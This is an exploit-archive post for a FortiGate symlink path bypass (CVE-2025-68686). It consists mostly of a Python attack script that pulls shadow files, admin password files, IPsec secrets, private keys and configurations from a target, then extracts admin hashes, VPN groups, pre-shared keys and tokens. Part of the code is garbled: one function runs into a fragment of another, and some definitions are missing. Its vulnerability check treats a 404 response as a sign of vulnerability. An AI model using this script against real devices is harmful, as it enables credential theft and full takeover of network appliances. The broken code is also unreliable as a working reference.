============================================================================================================================================= | # Title : FortiGate Advanced Symlink Bypass Exploit with Configuration & Credential Extraction | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://www.fortinet.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/215520/ & CVE-2025-68686 [+] Summary : This Python script is an advanced exploitation tool targeting vulnerable FortiGate devices manufactured by Fortinet. It attempts to exploit a symlink/path bypass vulnerability via the /lang//custom/ endpoint in order to access sensitive internal files that should not be publicly accessible. [+] Key Features: Tests whether the target device appears vulnerable. Attempts to download sensitive system and configuration files. Decompresses .gz configuration files. Parses configuration content to extract: Admin usernames and password hashes VPN user groups Pre-shared keys (PSKs) Authentication tokens and secrets Saves raw files and extracted credentials locally. [+] Potential Impact: If successful, the tool can expose: Administrator credentials VPN secrets and group memberships System configuration details SSL certificates and private keys Log files containing sensitive operational data This could allow full administrative compromise of the device and potentially lateral movement inside the internal network. [+] Risk Level: Critical – Successful exploitation may result in complete device takeover. [+] Defensive Note: Organizations should: Update FortiOS to the latest version Restrict SSL VPN access Monitor logs for suspicious /lang//custom/ requests Enforce MFA on administrative accounts [+] POC : #!/usr/bin/env python3 import requests import urllib3 import argparse import sys import gzip import re import base64 import hashlib from pathlib import Path import json from datetime import datetime import os import io urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class FortiGateExploiter: def __init__(self, target_ip, target_port, output_dir="fortigate_dump"): self.target_ip = target_ip self.target_port = target_port self.output_dir = output_dir self.session = requests.Session() self.session.verify = False self.session.timeout = 15 Path(output_dir).mkdir(exist_ok=True) self.interesting_paths = [ "/lang//custom/data/config/sys_global.conf.gz", "/lang//custom/data/config/system.conf", "/lang//custom/data/config/vip.conf", "/lang//custom/data/config/vpn.conf", "/lang//custom/data/config/firewall.conf", "/lang//custom/data/config/router.conf", "/lang//custom/data/config/system.conf.gz", "/lang//custom/data/etc/passwd", "/lang//custom/data/etc/shadow", "/lang//custom/data/etc/master.passwd", "/lang//custom/data/etc/ssl/private/ssl-cert-snakeoil.key", "/lang//custom/data/data/etc/admin_passwd", "/lang//custom/data/data/etc/authd.conf", "/lang//custom/data/etc/ppp/chap-secrets", "/lang//custom/data/etc/ipsec.conf", "/lang//custom/data/etc/ipsec.secrets", "/lang//custom/data/etc/openvpn/server.conf", "/lang//custom/data/var/log/system.log", "/lang//custom/data/var/log/auth.log", "/lang//custom/data/var/log/vpn.log", "/lang//custom/data/cert/ssl/ca_cert", "/lang//custom/data/cert/ssl/server_cert", "/lang//custom/data/cert/ssl/server_key", "/lang//custom/data/version", "/lang//custom/data/etc/version", "/lang//custom/data/etc/hostname", "/lang//custom/data/etc/hosts", ] def test_vulnerability(self): """Test if device is vulnerable""" test_url = f"https://{self.target_ip}:{self.target_port}/lang//custom/test" try: response = self.session.get(test_url) if response.status_code in [200, 404]: print("[+] Target appears VULNERABLE to bypass technique!") return True elif response.status_code == 403: print("[-] Target is PATCHED against bypass") return False else: print(f"[?] Unknown response code: {response.status_code}") return True # Assume vulnerable except Exception as e: print(f"[-] Error testing vulnerability: {e}") return False def download_file(self, path): """Download a file from the target""" url = f"https://{self.target_ip}:{self.target_port}{path}" try: response = self.session.get(url) if response.status_code == 200: if len(response.content) > 100 and not response.content.startswith(b' 3: if 'hash' in ptype: credentials['hashes'].append(match) else: credentials['passwords'].append({'value': match, 'type': ptype}) return credentials def run_exploit(self): """Main exploit function""" print(f"\n[*] Starting FortiGate exploit against {self.target_ip}:{self.target_port}") print(f"[*] Output directory: {self.output_dir}") if not self.test_vulnerability(): response = input("\n[?] Continue anyway? (y/n): ") if response.lower() != 'y': return False downloaded = [] for path in self.interesting_paths: filename = path.split('/')[-1] print(f"\n[*] Trying: {path}") data = self.download_file(path) if data: filepath = f"{self.output_dir}/{self.target_ip}_{filename}" with open(filepath, 'wb') as f: f.write(data) print(f"[+] Downloaded: {filename} ({len(data)} bytes)") downloaded.append(filepath) if filename.endswith('.gz'): config_text = self.parse_config_gz(data) if config_text: decomp_path = f"{self.output_dir}/{self.target_ip}_{filename.replace('.gz', '')}" with open(decomp_path, 'w', encoding='utf-8') as f: f.write(config_text) print(f"[+] Decompressed config saved to: {decomp_path}") if 'sys_global.conf' in filename or 'system.conf' in filename: creds = self.extract_credentials(config_text) cred_path = f"{self.output_dir}/{self.target_ip}_credentials.txt" with open(cred_path, 'w', encoding='utf-8') as f: f.write(f"Credentials extracted from {self.target_ip}\n") f.write(f"Date: {datetime.now().isoformat()}\n") f.write("=" * 60 + "\n\n") if creds['admin_users']: f.write("ADMIN USERS:\n") f.write("-" * 40 + "\n") for user in creds['admin_users']: f.write(f" Username: {user['username']}\n") f.write(f" Password Hash: {user['password_hash']}\n\n") if creds['vpn_users']: f.write("VPN GROUPS:\n") f.write("-" * 40 + "\n") for group in creds['vpn_users']: f.write(f" Group: {group['group']}\n") f.write(f" Members: {group['members']}\n\n") if creds['hashes']: f.write("CRYPTOGRAPHIC HASHES:\n") f.write("-" * 40 + "\n") for h in set(creds['hashes']): f.write(f" {h}\n") if creds['passwords']: f.write("POTENTIAL PASSWORDS/KEYS:\n") f.write("-" * 40 + "\n") for pwd in creds['passwords'][:30]: # Show first 30 f.write(f" [{pwd['type']}] {pwd['value']}\n") print(f"[+] Extracted credentials saved to: {cred_path}") print(f"\n[!] CREDENTIALS SUMMARY:") print(f" Admin users found: {len(creds['admin_users'])}") print(f" VPN groups found: {len(creds['vpn_users'])}") print(f" Hashes found: {len(creds['hashes'])}") print(f" Passwords/keys found: {len(creds['passwords'])}") else: print(f"[-] Failed to download: {filename}") if downloaded: print(f"\n[+] Success! Downloaded {len(downloaded)} files to {self.output_dir}/") return True else: print("\n[-] No files were downloaded. Device might be patched.") return False def main(): parser = argparse.ArgumentParser(description='Advanced FortiGate Symlink Bypass Exploit (Corrected)') parser.add_argument('target', help='Target IP:port') parser.add_argument('-o', '--output', default='fortigate_dump', help='Output directory (default: fortigate_dump)') args = parser.parse_args() try: if ':' in args.target: ip, port = args.target.split(':') port = int(port) else: ip = args.target port = 443 except: print("[-] Invalid target format") sys.exit(1) exploit = FortiGateExploiter(ip, port, args.output) success = exploit.run_exploit() if success: print(f"\n[+] Exploit completed. Check {args.output}/ for results") sys.exit(0) else: print("\n[-] Exploit failed") sys.exit(1) if __name__ == "__main__": main() Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================